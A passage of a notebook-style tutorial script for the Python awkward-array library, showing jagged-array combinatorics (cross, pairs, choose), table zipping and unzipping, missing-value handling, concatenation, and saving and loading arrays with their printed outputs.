into a left half and a right half.\n\n# %%\nleft, right = a.cross(b).unzip()\nleft, right\n# (<JaggedArray [[1.1 1.1 2.2 2.2 3.3 3.3] [] [4.4 4.4 4.4 5.5 5.5 5.5] [6.6 7.7 8.8 9.9]] at 0x78112c0be278>,\n#  <JaggedArray [['one' 'two' 'one' 'two' 'one' 'two'] [] ['four' 'five' 'six' 'four' 'five' 'six'] ['seven' 'seven' 'seven' 'seven']] at 0x78112c0d0470>)\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5], [6.6, 7.7, 8.8, 9.9]])\nb = awkward.fromiter([[1, 2], [3], [4, 5, 6], [7]])\nleft, right = a.cross(b, nested=True).unzip()\nleft, right\n# (<JaggedArray [[[1.1 1.1] [2.2 2.2] [3.3 3.3]] [] [[4.4 4.4 4.4] [5.5 5.5 5.5]] [[6.6] [7.7] [8.8] [9.9]]] at 0x78112c127048>,\n#  <JaggedArray [[[1 2] [1 2] [1 2]] [] [[4 5 6] [4 5 6]] [[7] [7] [7] [7]]] at 0x78112c127630>)\n\n# %%markdown\n# This can be handy if a subsequent function takes two jagged arrays as arguments.\n\n# %%\ndistance = round(abs(left - right), 1)\ndistance\n# <JaggedArray [[[0.1 0.9] [1.2 0.2] [2.3 1.3]] [] [[0.4 0.6 1.6] [1.5 0.5 0.5]] [[0.4] [0.7] [1.8] [2.9]]] at 0x78112c0bec88>\n\n# %%markdown\n# Cross with ``nested=True``, followed by some calculation on the pairs and then some reducer, is a common pattern. Because of the ``nested=True`` and the reducer, the resulting array has the same structure as the original.\n\n# %%\ndistance.min()\n# <JaggedArray [[0.1 0.2 1.3] [] [0.4 0.5] [0.4 0.7 1.8 2.9]] at 0x78112c0d50f0>\n\n# %%\nround(a + distance.min(), 1)\n# <JaggedArray [[1.2 2.4 4.6] [] [4.8 6.0] [7.0 8.4 10.6 12.8]] at 0x78112c122518>\n\n# %%markdown\n# * ``pairs(nested=False)`` and ``argpairs(nested=False)``: returns jagged tuples representing the `self-join <https://en.wikipedia.org/wiki/Join_(SQL)#Self-join>`__ removing duplicates but not same-object pairs (i.e. a self-join with ``i1 <= i2``) for each inner array separately.\n\n# %%\na = awkward.fromiter([[\"a\", \"b\", \"c\"], [], [\"d\", \"e\"]])\na.pairs()\n# <JaggedArray [[(a, a) (a, b) (a, c) (b, b) (b, c) (c, c)] [] [(d, d) (d, e) (e, e)]] at 0x78112c127898>\n\n# %%markdown\n# The \"arg\" and ``nested=True`` versions have the same meanings as with ``cross`` (above).\n\n# %%\na.argpairs()\n# <JaggedArray [[(0, 0) (0, 1) (0, 2) (1, 1) (1, 2) (2, 2)] [] [(0, 0) (0, 1) (1, 1)]] at 0x78112c0d0978>\n\n# %%\na.pairs(nested=True)\n# <JaggedArray [[[(a, a) (a, b) (a, c)] [(b, b) (b, c)] [(c, c)]] [] [[(d, d) (d, e)] [(e, e)]]] at 0x78112c0be2b0>\n\n# %%markdown\n# Just as with ``cross`` (above), this is good to combine with ``unzip`` and maybe a reducer.\n\n# %%\na.pairs().unzip()\n# (<JaggedArray [['a' 'a' 'a' 'b' 'b' 'c'] [] ['d' 'd' 'e']] at 0x78112c0d08d0>,\n#  <JaggedArray [['a' 'b' 'c' 'b' 'c' 'c'] [] ['d' 'e' 'e']] at 0x78112c0d0fd0>)\n\n# %%markdown\n# * ``distincts(nested=False)`` and ``argdistincts(nested=False)``: returns jagged tuples representing the `self-join <https://en.wikipedia.org/wiki/Join_(SQL)#Self-join>`__ removing duplicates and same-object pairs (i.e. a self-join with ``i1 < i2``) for each inner array separately.\n\n# %%\na = awkward.fromiter([[\"a\", \"b\", \"c\"], [], [\"d\", \"e\"]])\na.distincts()\n# <JaggedArray [[(a, b) (a, c) (b, c)] [] [(d, e)]] at 0x78112c127080>\n\n# %%markdown\n# The \"arg\" and ``nested=True`` versions have the same meanings as with ``cross`` (above).\n\n# %%\na.argdistincts()\n# <JaggedArray [[(0, 1) (0, 2) (1, 2)] [] [(0, 1)]] at 0x78112c0d04e0>\n\n# %%\na.distincts(nested=True)\n# <JaggedArray [[[(a, b) (a, c)] [(b, c)]] [] [[(d, e)]]] at 0x78112c0d0a58>\n\n# %%markdown\n# Just as with ``cross`` (above), this is good to combine with ``unzip`` and maybe a reducer.\n\n# %%\na.distincts().unzip()\n# (<JaggedArray [['a' 'a' 'b'] [] ['d']] at 0x78112c11e908>,\n#  <JaggedArray [['b' 'c' 'c'] [] ['e']] at 0x78112c11e518>)\n\n# %%markdown\n# * ``choose(n)`` and ``argchoose(n)``: returns jagged tuples for distinct combinations of ``n`` elements from every inner array separately. ``array.choose(2)`` is the same as ``array.distincts()`` apart from order.\n\n# %%\na = awkward.fromiter([[\"a\", \"b\", \"c\"], [], [\"d\", \"e\"], [\"f\", \"g\", \"h\", \"i\", \"j\"]])\na\n# <JaggedArray [['a' 'b' 'c'] [] ['d' 'e'] ['f' 'g' 'h' 'i' 'j']] at 0x78112c0d0400>\n\n# %%\na.choose(2)\n# <JaggedArray [[(a, b) (a, c) (b, c)] [] [(d, e)] [(f, g) (f, h) (g, h) ... (g, j) (h, j) (i, j)]] at 0x78112c11e0f0>\n\n# %%\na.choose(3)\n# <JaggedArray [[(a, b, c)] [] [] [(f, g, h) (f, g, i) (f, h, i) ... (f, i, j) (g, i, j) (h, i, j)]] at 0x78114c6e46a0>\n\n# %%\na.choose(4)\n# <JaggedArray [[] [] [] [(f, g, h, i) (f, g, h, j) (f, g, i, j) (f, h, i, j) (g, h, i, j)]] at 0x78112c0d0cc0>\n\n# %%markdown\n# The \"arg\" version has the same meaning as ``cross`` (above), but there is no ``nested=True`` because of the order.\n\n# %%\na.argchoose(2)\n# <JaggedArray [[(0, 1) (0, 2) (1, 2)] [] [(0, 1)] [(0, 1) (0, 2) (1, 2) ... (1, 4) (2, 4) (3, 4)]] at 0x78112c11e2b0>\n\n# %%markdown\n# Just as with ``cross`` (above), this is good to combine with ``unzip`` and maybe a reducer.\n\n# %%\na.choose(2).unzip()\n# (<JaggedArray [['a' 'a' 'b'] [] ['d'] ['f' 'f' 'g' ... 'g' 'h' 'i']] at 0x78112c11e5c0>,\n#  <JaggedArray [['b' 'c' 'c'] [] ['e'] ['g' 'h' 'h' ... 'j' 'j' 'j']] at 0x78112c0f7ac8>)\n\n# %%\na.choose(3).unzip()\n# (<JaggedArray [['a'] [] [] ['f' 'f' 'f' ... 'f' 'g' 'h']] at 0x78112c0dc5f8>,\n#  <JaggedArray [['b'] [] [] ['g' 'g' 'h' ... 'i' 'i' 'i']] at 0x78112c0dc3c8>,\n#  <JaggedArray [['c'] [] [] ['h' 'i' 'i' ... 'j' 'j' 'j']] at 0x78112c0dc6d8>)\n\n# %%\na.choose(4).unzip()\n# (<JaggedArray [[] [] [] ['f' 'f' 'f' 'f' 'g']] at 0x78112c0d0eb8>,\n#  <JaggedArray [[] [] [] ['g' 'g' 'g' 'h' 'h']] at 0x78112c11e550>,\n#  <JaggedArray [[] [] [] ['h' 'h' 'i' 'i' 'i']] at 0x78112c11e2e8>,\n#  <JaggedArray [[] [] [] ['i' 'j' 'j' 'j' 'j']] at 0x78112c11e4a8>)\n\n# %%markdown\n# * ``JaggedArray.zip(columns...)``: combines jagged arrays with the same structure into a single jagged array. The columns may be unnamed (resulting in a jagged array of tuples) or named with keyword arguments or dict keys (resulting in a jagged array of a table with named columns).\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\nb = awkward.fromiter([[100, 200, 300], [], [400, 500]])\nawkward.JaggedArray.zip(a, b)\n# <JaggedArray [[(1.1, 100) (2.2, 200) (3.3, 300)] [] [(4.4, 400) (5.5, 500)]] at 0x78112c0f71d0>\n\n# %%\nawkward.JaggedArray.zip(x=a, y=b).tolist()\n# [[{'x': 1.1, 'y': 100}, {'x': 2.2, 'y': 200}, {'x': 3.3, 'y': 300}],\n#  [],\n#  [{'x': 4.4, 'y': 400}, {'x': 5.5, 'y': 500}]]\n\n# %%\nawkward.JaggedArray.zip({\"x\": a, \"y\": b}).tolist()\n# [[{'x': 1.1, 'y': 100}, {'x': 2.2, 'y': 200}, {'x': 3.3, 'y': 300}],\n#  [],\n#  [{'x': 4.4, 'y': 400}, {'x': 5.5, 'y': 500}]]\n\n# %%markdown\n# Not all of the arguments need to be jagged; those that aren't will be broadcasted to the right shape.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\nb = awkward.fromiter([100, 200, 300])\nawkward.JaggedArray.zip(a, b)\n# <JaggedArray [[(1.1, 100) (2.2, 100) (3.3, 100)] [] [(4.4, 300) (5.5, 300)]] at 0x78112c0f7c18>\n\n# %%\nawkward.JaggedArray.zip(a, 1000)\n# <JaggedArray [[(1.1, 1000) (2.2, 1000) (3.3, 1000)] [] [(4.4, 1000) (5.5, 1000)]] at 0x78112c0f72e8>\n\n# %%markdown\n# ## Properties and methods for tabular columns\n#\n# All awkward arrays have these methods, but they provide information about the first nested ``Table`` within a structure. If, for instance, the ``Table`` is within some structure that doesn't affect high-level type (e.g. ``IndexedArray``, ``ChunkedArray``, ``VirtualArray``), then the methods are passed through to the ``Table``. If it's nested within something that does change type, but can meaningfully pass on the call, such as ``MaskedArray``, then that's what they do.\n#\n# * ``columns``: the names of the columns at the first tabular level of depth.\n\n# %%\na = awkward.fromiter([{\"x\": 1, \"y\": 1.1, \"z\": \"one\"}, {\"x\": 2, \"y\": 2.2, \"z\": \"two\"}, {\"x\": 3, \"y\": 3.3, \"z\": \"three\"}])\na.tolist()\n# [{'x': 1, 'y': 1.1, 'z': 'one'},\n#  {'x': 2, 'y': 2.2, 'z': 'two'},\n#  {'x': 3, 'y': 3.3, 'z': 'three'}]\n\n# %%\na.columns\n# ['x', 'y', 'z']\n\n# %%\na = awkward.Table(x=[1, 2, 3],\n                  y=[1.1, 2.2, 3.3],\n                  z=awkward.Table(a=[4, 5, 6], b=[4.4, 5.5, 6.6]))\na.tolist()\n# [{'x': 1, 'y': 1.1, 'z': {'a': 4, 'b': 4.4}},\n#  {'x': 2, 'y': 2.2, 'z': {'a': 5, 'b': 5.5}},\n#  {'x': 3, 'y': 3.3, 'z': {'a': 6, 'b': 6.6}}]\n\n# %%\na.columns\n# ['x', 'y', 'z']\n\n# %%\na[\"z\"].columns\n# ['a', 'b']\n\n# %%\na.z.columns\n# ['a', 'b']\n\n# %%markdown\n# * ``unzip()``: returns a tuple of projections through each of the columns (in the same order as the ``columns`` property).\n\n# %%\na = awkward.fromiter([{\"x\": 1, \"y\": 1.1, \"z\": \"one\"}, {\"x\": 2, \"y\": 2.2, \"z\": \"two\"}, {\"x\": 3, \"y\": 3.3, \"z\": \"three\"}])\na.unzip()\n# (array([1, 2, 3]),\n#  array([1.1, 2.2, 3.3]),\n#  <StringArray ['one' 'two' 'three'] at 0x78112c0d02b0>)\n\n# %%markdown\n# The ``unzip`` method is the opposite of the ``Table`` constructor,\n\n# %%\na = awkward.Table(x=[1, 2, 3],\n                  y=[1.1, 2.2, 3.3],\n                  z=awkward.fromiter([\"one\", \"two\", \"three\"]))\na.tolist()\n# [{'x': 1, 'y': 1.1, 'z': 'one'},\n#  {'x': 2, 'y': 2.2, 'z': 'two'},\n#  {'x': 3, 'y': 3.3, 'z': 'three'}]\n\n# %%\na.unzip()\n# (array([1, 2, 3]),\n#  array([1.1, 2.2, 3.3]),\n#  <StringArray ['one' 'two' 'three'] at 0x78112c115a20>)\n\n# %%markdown\n# but it is also the opposite of ``JaggedArray.zip``.\n\n# %%\nb = awkward.JaggedArray.zip(x=awkward.fromiter([[1, 2, 3], [], [4, 5]]),\n                            y=awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]]),\n                            z=awkward.fromiter([[\"a\", \"b\", \"c\"], [], [\"d\", \"e\"]]))\nb.tolist()\n# [[{'x': 1, 'y': 1.1, 'z': 'a'},\n#   {'x': 2, 'y': 2.2, 'z': 'b'},\n#   {'x': 3, 'y': 3.3, 'z': 'c'}],\n#  [],\n#  [{'x': 4, 'y': 4.4, 'z': 'd'}, {'x': 5, 'y': 5.5, 'z': 'e'}]]\n\n# %%\nb.unzip()\n# (<JaggedArray [[1 2 3] [] [4 5]] at 0x78112c14fe10>,\n#  <JaggedArray [[1.1 2.2 3.3] [] [4.4 5.5]] at 0x78112c14f9b0>,\n#  <JaggedArray [['a' 'b' 'c'] [] ['d' 'e']] at 0x78112c14fa90>)\n\n# %%markdown\n# ``JaggedArray.zip`` produces a jagged array of ``Table`` whereas the ``Table`` constructor produces just a ``Table``, and these are distinct things, though they can both be inverted by the same function because row indexes and column indexes commute:\n\n# %%\nb[0][\"y\"]\n# array([1.1, 2.2, 3.3])\n\n# %%\nb[\"y\"][0]\n# array([1.1, 2.2, 3.3])\n\n# %%markdown\n# So ``unzip`` turns a flat ``Table`` into a tuple of flat arrays (opposite of the ``Table`` constructor) and it turns a jagged ``Table`` into a tuple of jagged arrays (opposite of ``JaggedArray.zip``).\n#\n# * ``istuple``: an array of tuples is a special kind of ``Table``, one whose ``rowname`` is ``\"tuple\"`` and columns are ``\"0\"``, ``\"1\"``, ``\"2\"``, etc. If these conditions are met, ``istuple`` is ``True``; otherwise, ``False``.\n\n# %%\na = awkward.Table(x=[1, 2, 3],\n                  y=[1.1, 2.2, 3.3],\n                  z=awkward.fromiter([\"one\", \"two\", \"three\"]))\na.tolist()\n# [{'x': 1, 'y': 1.1, 'z': 'one'},\n#  {'x': 2, 'y': 2.2, 'z': 'two'},\n#  {'x': 3, 'y': 3.3, 'z': 'three'}]\n\n# %%\na.istuple\n# False\n\n# %%\na = awkward.Table([1, 2, 3],\n                  [1.1, 2.2, 3.3],\n                  awkward.fromiter([\"one\", \"two\", \"three\"]))\na.tolist()\n# [(1, 1.1, 'one'), (2, 2.2, 'two'), (3, 3.3, 'three')]\n\n# %%\na.istuple\n# True\n\n# %%markdown\n# Even though the following tuples are inside of a jagged array, the first level of ``Table`` is a tuple, so ``istuple`` is ``True``.\n\n# %%\nb = awkward.JaggedArray.zip(awkward.fromiter([[1, 2, 3], [], [4, 5]]),\n                            awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]]),\n                            awkward.fromiter([[\"a\", \"b\", \"c\"], [], [\"d\", \"e\"]]))\nb\n# <JaggedArray [[(1, 1.1, a) (2, 2.2, b) (3, 3.3, c)] [] [(4, 4.4, d) (5, 5.5, e)]] at 0x78112c0d0e48>\n\n# %%\nb.istuple\n# True\n\n# %%markdown\n# * ``i0`` through ``i9``: one of the two conditions for a ``Table`` to be a ``tuple`` is that columns are named ``\"0\"``, ``\"1\"``, ``\"2\"``, etc. Columns like that could be selected with ``[\"0\"]`` at the risk of being misread as ``[0]``, and they could not be selected with attribute dot-access because pure numbers are not valid Python attributes. However, ``i0`` through ``i9`` are provided as shortcuts (overriding any columns with these exact names) for the first 10 tuple slots.\n\n# %%\na = awkward.Table([1, 2, 3],\n                  [1.1, 2.2, 3.3],\n                  awkward.fromiter([\"one\", \"two\", \"three\"]))\na.tolist()\n# [(1, 1.1, 'one'), (2, 2.2, 'two'), (3, 3.3, 'three')]\n\n# %%\na.i0\n# array([1, 2, 3])\n\n# %%\na.i1\n# array([1.1, 2.2, 3.3])\n\n# %%\na.i2\n# <StringArray ['one' 'two' 'three'] at 0x78112c14fe80>\n\n# %%markdown\n# * ``flattentuple()``: calling ``cross`` repeatedly can result in tuples nested within tuples; this flattens them at all levels, turning all ``(i, (j, k))`` into ``(i, j, k)``. Whereas ``array.flatten()`` removes one level of structure from the rows (losing information), ``array.flattentuple()`` removes all levels of structure from the columns (renaming them, but not losing information).\n\n# %%\na = awkward.Table([1, 2, 3], [1, 2, 3], awkward.Table(awkward.Table([1, 2, 3], [1, 2, 3]), [1, 2, 3]))\na.tolist()\n# [(1, 1, ((1, 1), 1)), (2, 2, ((2, 2), 2)), (3, 3, ((3, 3), 3))]\n\n# %%\na.flattentuple().tolist()\n# [(1, 1, 1, 1, 1), (2, 2, 2, 2, 2), (3, 3, 3, 3, 3)]\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5], [6.6, 7.7, 8.8, 9.9]])\nb = awkward.fromiter([[100, 200], [300], [400, 500, 600], [700]])\nc = awkward.fromiter([[\"a\"], [\"b\", \"c\"], [\"d\"], [\"e\", \"f\"]])\n\n# %%markdown\n# The ``cross`` method internally calls ``flattentuples()`` if it detects that one of its arguments is the result of a ``cross``.\n\n# %%\na.cross(b).cross(c).tolist()\n# [[(1.1, 100, 'a'),\n#   (1.1, 200, 'a'),\n#   (2.2, 100, 'a'),\n#   (2.2, 200, 'a'),\n#   (3.3, 100, 'a'),\n#   (3.3, 200, 'a')],\n#  [],\n#  [(4.4, 400, 'd'),\n#   (4.4, 500, 'd'),\n#   (4.4, 600, 'd'),\n#   (5.5, 400, 'd'),\n#   (5.5, 500, 'd'),\n#   (5.5, 600, 'd')],\n#  [(6.6, 700, 'e'),\n#   (6.6, 700, 'f'),\n#   (7.7, 700, 'e'),\n#   (7.7, 700, 'f'),\n#   (8.8, 700, 'e'),\n#   (8.8, 700, 'f'),\n#   (9.9, 700, 'e'),\n#   (9.9, 700, 'f')]]\n\n# %%markdown\n# ## Properties and methods for missing values\n#\n# All awkward arrays have these methods, but they provide information about the first nested ``MaskedArray`` within a structure. If, for instance, the ``MaskedArray`` is within some structure that doesn't affect high-level type (e.g. ``IndexedArray``, ``ChunkedArray``, ``VirtualArray``), then the methods are passed through to the ``MaskedArray``. If it's nested within something that does change type, but can meaningfully pass on the call, such as ``JaggedArray``, then that's what they do.\n#\n# * ``boolmask(maskedwhen=None)``: returns a Numpy array of booleans indicating which elements are missing (\"masked\") and which are not. If ``maskedwhen=True``, a ``True`` value in the Numpy array means missing/masked; if ``maskedwhen=False``, a ``False`` value in the Numpy array means missing/masked. If no value is passed (or ``None``), the ``MaskedArray``'s own ``maskedwhen`` property is used (which is by default ``True``). Non-``MaskedArrays`` are assumed to have a ``maskedwhen`` of ``True`` (the default).\n\n# %%\na = awkward.fromiter([1, 2, None, 3, 4, None, None, 5])\na.boolmask()\n# array([False, False,  True, False, False,  True,  True, False])\n\n# %%\na.boolmask(maskedwhen=False)\n# array([ True,  True, False,  True,  True, False, False,  True])\n\n# %%markdown\n# ``MaskedArrays`` inside of ``JaggedArrays`` or ``Tables`` are hidden.\n\n# %%\na = awkward.fromiter([[1.1, None, 2.2], [], [3.3, 4.4, None, 5.5]])\na.boolmask()\n# array([False, False, False])\n\n# %%\na.flatten().boolmask()\n# array([False,  True, False, False, False,  True, False])\n\n# %%\na = awkward.fromiter([{\"x\": 1, \"y\": 1.1}, {\"x\": None, \"y\": 2.2}, {\"x\": None, \"y\": 3.3}, {\"x\": 4, \"y\": None}])\na.boolmask()\n# array([False, False, False, False])\n\n# %%\na.x.boolmask()\n# array([False,  True,  True, False])\n\n# %%\na.y.boolmask()\n# array([False, False, False,  True])\n\n# %%markdown\n# * ``ismasked`` and ``isunmasked``: shortcut for ``boolmask(maskedwhen=True)`` and ``boolmask(maskedwhen=False)`` as a property, which is more appropriate for analysis.\n\n# %%\na = awkward.fromiter([1, 2, None, 3, 4, None, None, 5])\na.ismasked\n# array([False, False,  True, False, False,  True,  True, False])\n\n# %%\na.isunmasked\n# array([ True,  True, False,  True,  True, False, False,  True])\n\n# %%markdown\n# * ``fillna(value)``: turn a ``MaskedArray`` into a non-``MaskedArray`` by replacing ``None`` with ``value``. Applies to the outermost ``MaskedArray``, but it passes through ``JaggedArrays`` and into all ``Table`` columns.\n\n# %%\na = awkward.fromiter([1, 2, None, 3, 4, None, None, 5])\na.fillna(999)\n# array([  1,   2, 999,   3,   4, 999, 999,   5])\n\n# %%\na = awkward.fromiter([[1.1, None, 2.2], [], [3.3, 4.4, None, 5.5]])\na.fillna(999)\n# <JaggedArray [[1.1 999.0 2.2] [] [3.3 4.4 999.0 5.5]] at 0x78112c0859b0>\n\n# %%\na = awkward.fromiter([{\"x\": 1, \"y\": 1.1}, {\"x\": None, \"y\": 2.2}, {\"x\": None, \"y\": 3.3}, {\"x\": 4, \"y\": None}])\na.fillna(999).tolist()\n# [{'x': 1, 'y': 1.1},\n#  {'x': 999, 'y': 2.2},\n#  {'x': 999, 'y': 3.3},\n#  {'x': 4, 'y': 999.0}]\n\n# %%markdown\n# ## Functions for structure manipulation\n#\n# Only one structure-manipulation function (for now) is defined at top-level in awkward-array: ``awkward.concatenate``.\n#\n# * ``awkward.concatenate(arrays, axis=0)``: concatenate two or more ``arrays``. If ``axis=0``, the arrays are concatenated lengthwise (the resulting length is the sum of the lengths of each of the ``arrays``). If ``axis=1``, each inner array is concatenated: the input ``arrays`` must all be jagged with the same outer array length. (Values of ``axis`` greater than ``1`` are not yet supported.)\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\nb = awkward.fromiter([[100, 200], [300], [400, 500, 600]])\nawkward.concatenate([a, b])\n# <JaggedArray [[1.1 2.2 3.3] [] [4.4 5.5] [100.0 200.0] [300.0] [400.0 500.0 600.0]] at 0x78112c122c88>\n\n# %%\nawkward.concatenate([a, b], axis=1)\n# <JaggedArray [[1.1 2.2 3.3 100.0 200.0] [300.0] [4.4 5.5 400.0 500.0 600.0]] at 0x78112c425978>\n\n# %%\na = awkward.fromiter([{\"x\": 1, \"y\": 1.1}, {\"x\": 2, \"y\": 2.2}, {\"x\": 3, \"y\": 3.3}])\nb = awkward.fromiter([{\"x\": 4, \"y\": 4.4}, {\"x\": 5, \"y\": 5.5}])\nawkward.concatenate([a, b]).tolist()\n# [{'x': 1, 'y': 1.1},\n#  {'x': 2, 'y': 2.2},\n#  {'x': 3, 'y': 3.3},\n#  {'x': 4, 'y': 4.4},\n#  {'x': 5, 'y': 5.5}]\n\n# %%markdown\n# If the arrays have different types, their concatenation is a ``UnionArray``.\n\n# %%\na = awkward.fromiter([{\"x\": 1, \"y\": 1.1}, {\"x\": 2, \"y\": 2.2}, {\"x\": 3, \"y\": 3.3}])\nb = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\nawkward.concatenate([a, b]).tolist()\n# [{'x': 1, 'y': 1.1},\n#  {'x': 2, 'y': 2.2},\n#  {'x': 3, 'y': 3.3},\n#  [1.1, 2.2, 3.3],\n#  [],\n#  [4.4, 5.5]]\n\n# %%\na = awkward.fromiter([1, None, 2])\nb = awkward.fromiter([None, 3, None])\nawkward.concatenate([a, b])\n# <MaskedArray [1 None 2 None 3 None] at 0x78112c085da0>\n\n# %%\nimport awkward, numpy\na = awkward.fromiter([\"one\", \"two\", \"three\"])\nb = awkward.fromiter([\"four\", \"five\", \"six\"])\nawkward.concatenate([a, b])\n# <StringArray ['one' 'two' 'three' 'four' 'five' 'six'] at 0x78112c14f7f0>\n\n# %%\nawkward.concatenate([a, b], axis=1)\n# <StringArray ['onefour' 'twofive' 'threesix'] at 0x78112c115518>\n\n# %%markdown\n# # Functions for input/output and conversion\n#\n# Most of the functions defined at the top-level of the library are conversion functions.\n#\n# * ``awkward.fromiter(iterable, awkwardlib=None, dictencoding=False, maskedwhen=True)``: convert Python or JSON data into awkward arrays. Not a fast function: it necessarily involves a Python for loop. The ``awkwardlib`` determines which awkward module to use to make arrays (``awkward`` is the default, but ``awkward.numba`` and ``awkward.cpp`` are alternatives). If ``dictencoding`` is ``True``, bytes and strings will be \"dictionary-encoded\" in Arrow/Parquet terms\u2014this is an ``IndexedArray`` in awkward. The ``maskedwhen`` parameter determines whether ``MaskedArrays`` have a mask that is ``True`` when data are missing or ``False`` when data are missing.\n\n# %%\n# We have been using this function all along, but why not another example?\ncomplicated = awkward.fromiter([[1.1, 2.2, None, 3.3, None],\n                                [4.4, [5.5]],\n                                [{\"x\": 6, \"y\": {\"z\": 7}}, None, {\"x\": 8, \"y\": {\"z\": 9}}]\n                               ])\ncomplicated\n# <JaggedArray [[1.1 2.2 None 3.3 None] [4.4 [5.5]] [<Row 0> None <Row 1>]] at 0x78112c0ef438>\n\n# %%markdown\n# The fact that this nested, row-wise data have been converted into columnar arrays can be seen by inspecting its ``layout``.\n\n# %%\ncomplicated.layout\n#  layout\n# [           ()] JaggedArray(starts=layout[0], stops=layout[1], content=layout[2])\n# [            0]   ndarray(shape=3, dtype=dtype('int64'))\n# [            1]   ndarray(shape=3, dtype=dtype('int64'))\n# [            2]   IndexedMaskedArray(mask=layout[2, 0], content=layout[2, 1], maskedwhen=-1)\n# [         2, 0]     ndarray(shape=10, dtype=dtype('int64'))\n# [         2, 1]     UnionArray(tags=layout[2, 1, 0], index=layout[2, 1, 1], contents=[layout[2, 1, 2], layout[2, 1, 3], layout[2, 1, 4]])\n# [      2, 1, 0]       ndarray(shape=7, dtype=dtype('uint8'))\n# [      2, 1, 1]       ndarray(shape=7, dtype=dtype('int64'))\n# [      2, 1, 2]       ndarray(shape=4, dtype=dtype('float64'))\n# [      2, 1, 3]       JaggedArray(starts=layout[2, 1, 3, 0], stops=layout[2, 1, 3, 1], content=layout[2, 1, 3, 2])\n# [   2, 1, 3, 0]         ndarray(shape=1, dtype=dtype('int64'))\n# [   2, 1, 3, 1]         ndarray(shape=1, dtype=dtype('int64'))\n# [   2, 1, 3, 2]         ndarray(shape=1, dtype=dtype('float64'))\n# [      2, 1, 4]       Table(x=layout[2, 1, 4, 0], y=layout[2, 1, 4, 1])\n# [   2, 1, 4, 0]         ndarray(shape=2, dtype=dtype('int64'))\n# [   2, 1, 4, 1]         Table(z=layout[2, 1, 4, 1, 0])\n# [2, 1, 4, 1, 0]           ndarray(shape=2, dtype=dtype('int64'))\n\n# %%\nfor index, node in complicated.layout.items():\n    if node.cls == numpy.ndarray:\n        print(\"[{0:>13s}] {1}\".format(\", \".join(repr(i) for i in index), repr(node.array)))\n# [            0] array([0, 5, 7])\n# [            1] array([ 5,  7, 10])\n# [         2, 0] array([ 0,  1, -1,  2, -1,  3,  4,  5, -1,  6])\n# [      2, 1, 0] array([0, 0, 0, 0, 1, 2, 2], dtype=uint8)\n# [      2, 1, 1] array([0, 1, 2, 3, 0, 0, 1])\n# [      2, 1, 2] array([1.1, 2.2, 3.3, 4.4])\n# [   2, 1, 3, 0] array([0])\n# [   2, 1, 3, 1] array([1])\n# [   2, 1, 3, 2] array([5.5])\n# [   2, 1, 4, 0] array([6, 8])\n# [2, 1, 4, 1, 0] array([7, 9])\n\n# %%markdown\n# The number of arrays in this object scales with the complexity of its data type, but not with the size of the dataset. If it were as complicated as it is now but billions of elements long, it would still contain 11 Numpy arrays, and operations on it would scale as Numpy scales. However, converting a billion Python objects to these 11 arrays would be a large up-front cost.\n#\n# More detail on the row-wise to columnar conversion process is given in `docs/fromiter.adoc <https://github.com/scikit-hep/awkward-array/blob/master/docs/fromiter.adoc>`__.\n\n# %%markdown\n# * ``load(file, awkwardlib=None, whitelist=awkward.persist.whitelist, cache=None, schemasuffix=\".json\")``: loads data from an \"awkd\" (special ZIP) file. This function is like ``numpy.load``, but for awkward arrays. If the file contains a single object, that object will be read immediately; if it has a collection of named arrays, it will return a loader that loads those arrays on demand. The ``awkwardlib`` determines the module to use to define arrays, the ``whitelist`` is where you can provide a list of functions that may be called in this process, ``cache`` is a global cache object assigned to ``VirtualArrays``, and ``schemasuffix`` determines the file name pattern to look for objects inside the ZIP file.\n#\n# * ``save(file, array, name=None, mode=\"a\", compression=awkward.persist.compression, delimiter=\"-\", suffix=\".raw\", schemasuffix=\".json\")``: saves data to an \"awkd\" (special ZIP) file. This function is like ``numpy.savez`` and is the reverse of ``load`` (above). The ``array`` may be a single object or a dict of named arrays, the ``name`` is a name to use inside the file, ``mode=\"a\"`` means create or append to an existing file, refusing to overwrite data while ``mode=\"w\"`` overwrites data, ``compression`` is a compression policy (set of rules determining which arrays to compress and how), and the rest of the arguments determine file names within the ZIP: ``delimiter`` between name components, ``suffix`` for array data, and ``schemasuffix`` for the schemas that tell ``load`` how to find all other data.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\nb = awkward.fromiter([[1.1, 2.2, None, 3.3, None],\n                      [4.4, [5.5]],\n                      [{\"x\": 6, \"y\": {\"z\": 7}}, None, {\"x\": 8, \"y\": {\"z\": 9}}]\n                     ])\n\n# %%\nawkward.save(\"single.awkd\", a, mode=\"w\")\n\n# %%\nawkward.load(\"single.awkd\")\n# <JaggedArray [[1.1 2.2 3.3] [] [4.4 5.5]] at 0x78112c14ff98>\n\n# %%\nawkward.save(\"multi.awkd\", {\"a\": a, \"b\": b}, mode=\"w\")\n\n# %%\nmulti = awkward.load(\"multi.awkd\")\n\n# %%\nmulti[\"a\"]\n# <JaggedArray [[1.1 2.2 3.3] [] [4.4 5.5]] at 0x78112c0906d8>\n\n# %%\nmulti[\"b\"]\n# <JaggedArray [[1.1 2.2 None 3.3 None] [4.4 [5.5]] [<Row 0> None <Row 1>]] at 0x78112c0906a0>\n\n# %%markdown\n# Only ``save`` has a ``compression`` parameter because only the writing process gets to decide how arrays are compressed. We don't use ZIP's built-in compression, but use Python compression functions and encode the choice in the metadata. If ``compression=True``, all arrays will be compressed with zlib; if ``compression=False``, ``None``, or ``[]``, none will. In general, ``compression`` is a list of rules; the first rule that is satisfied by a given array uses the specified compress/decompress pair of functions. Here's the default policy:\n\n# %%\nawkward.persist.compression\n# [{'minsize': 8192,\n#   'types': [numpy.bool_, bool, numpy.integer],\n#   'contexts': '*',\n#   'pair': (<function zlib.compress(data, /, level=-1)>,\n#    ('zlib', 'decompress'))}]\n\n# %%markdown\n# The default policy has only one rule. If any array has a minimum size (``minsize``) of 8 kB (``8192`` bytes), a numeric type (``array.dtype.type``) that is a subclass of ``numpy.bool_``, ``bool``, 